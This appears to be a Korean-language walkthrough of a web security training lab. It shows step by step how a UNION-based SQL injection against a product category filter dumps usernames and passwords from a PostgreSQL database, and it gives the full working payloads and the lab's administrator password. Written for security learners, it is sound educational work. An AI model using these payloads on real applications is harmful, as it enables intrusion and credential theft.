This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables.
The database contains a different table called users
, with columns called username
and password
.
To solve the lab, perform a SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the administrator
user.
lab에 들어가면 가상 shop 사이트가 나온다.
category filter에 SQL injection 취약점이 있다.
데이터베이스에users
테이블에username
,password
라는 columns이 있다.
목표
administrator
이름을 가진 사용자로 로그인한다.
먼저 category부분에 취약점이 있다고 하니까, burpsuite repeater를 이용하여 SQL injection UNION 공격으로 null값을 하나씩 넣으면서 columns 개수를 확인한다.
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.
null을 넣어서 확인하면 columns 개수가 2개라는 것을 알 수 있다.
'+union+select+null,null--
이번에는 columns에서 어느 부분이 문자열 데이터로 나올 수 있는지 확인한다.
' UNION SELECT 'a', NULL--
' UNION SELECT NULL, 'a'--
문자열 데이터를 넣어서 확인해 보면 두번째 columns만 문자열 데이터이 나올 수 있다.
'+union+select+null,'a'--
단일 columns일 때 문자열을 합쳐서 한 번에 나오게 할 수 있다. 하지만 데이터베이스 유형에 따라 합치게 하는 문자가 다르기 때문에 먼저 아래 cheat sheet를 이용해 데이터 베이스 유형을 확인한다.
Oracle
SELECT banner FROM v$version
SELECT version FROM v$instance
Microsoft
SELECT @@version
PostgreSQL
SELECT version()
MySQL
SELECT @@version
하나씩 넣어서 확인해 보면 데이터베이스 유형이 PostgreSQL인 것을 알 수 있다.
'+union+select+null,version()--
데이터 유형을 알았으니 아래 cheat sheet를 확인해 보면 PostgreSQL의 연결 연산자는 ||
이중파이프이다.
Oracle
'foo'||'bar'
Microsoft
'foo'+'bar'
PostgreSQL
'foo'||'bar'
MySQL
'foo' 'bar'
CONCAT('foo','bar')
이를 이용해 페이로드를 짜서 burpsuite proxy에 넣어서 보내고 intercepte를 끄고 사이트를 확인하면 administrator
의 password를 알 수 있다.
'+union+select+null,username+||+'~'+||+password+from+users--
My account에 들어가서 administrator로 로그인하면 문제가 풀린다.
administrator
, fb3rfy83xur484j2m94g